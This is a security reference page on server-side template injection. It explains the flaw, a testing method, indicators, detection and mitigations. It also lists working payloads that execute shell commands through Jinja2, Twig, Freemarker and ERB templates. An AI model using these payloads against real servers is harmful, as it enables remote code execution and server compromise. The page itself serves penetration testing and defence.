OWASP Hunting
Injection

Server-Side Template Injection

SSTI occurs when user input is embedded in a server-side template unsafely, allowing attackers to execute arbitrary code on the server.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Server-Side Template Injection (SSTI) occurs when user input is embedded in a template in an unsafe manner, allowing attackers to inject template directives and execute arbitrary code on the server. SSTI can lead to remote code execution, information disclosure, and complete server compromise. Vulnerable template engines include Jinja2 (Python), Twig (PHP), Freemarker (Java), Velocity (Java), Smarty (PHP), Pug (Node.js), ERB (Ruby), and Thymeleaf (Java).

Attack Vectors

  • User input used in template rendering functions
  • Email templates with user-controlled content
  • Error messages generated from dynamic templates
  • Report and PDF generators with user-defined content
  • Markdown or wiki renderers backed by template engines

Testing Methodology

  1. Submit {{7*7}} and observe if 49 appears in the response
  2. Try ${7*7} and #{7*7} to detect different engines
  3. Use the polyglot probe: ${{<%[%'"}}%\` to trigger engine-specific errors
  4. Identify the template engine from error messages or response differences
  5. Escalate to code execution using engine-specific RCE payloads

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Detection Probes
{{7*7}}${7*7}#{7*7}<%= 7*7 %>${7*'7'}{{7*'7'}}${{<%[%'"}}%\`
Jinja2 (Python)
{{config}}{{config.items()}}{{''.__class__.__mro__[1].__subclasses__()}}{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}{{['id']|map('system')|join}}
Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}${"freemarker.template.utility.Execute"?new()("id")}
ERB (Ruby)
<%= 7*7 %><%= `id` %><%= system('id') %>

Indicators of Vulnerability

  • Mathematical expression result (e.g., 49) returned for {{7*7}} input
  • Template syntax errors revealing engine type
  • Server-side configuration or environment data exposed
  • Command output embedded in response

Detection Guidance

Audit all template rendering calls to ensure user input is passed as data, not as template source. Use static analysis to find unsafe render() calls. Monitor for template engine error messages in production logs.

Mitigation & Remediation

  • Never pass user input directly as template source code
  • Use sandboxed template environments where available
  • Validate and sanitize input before rendering
  • Apply principle of least privilege to template execution context
  • Use logic-less templates (Mustache/Handlebars) when possible

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)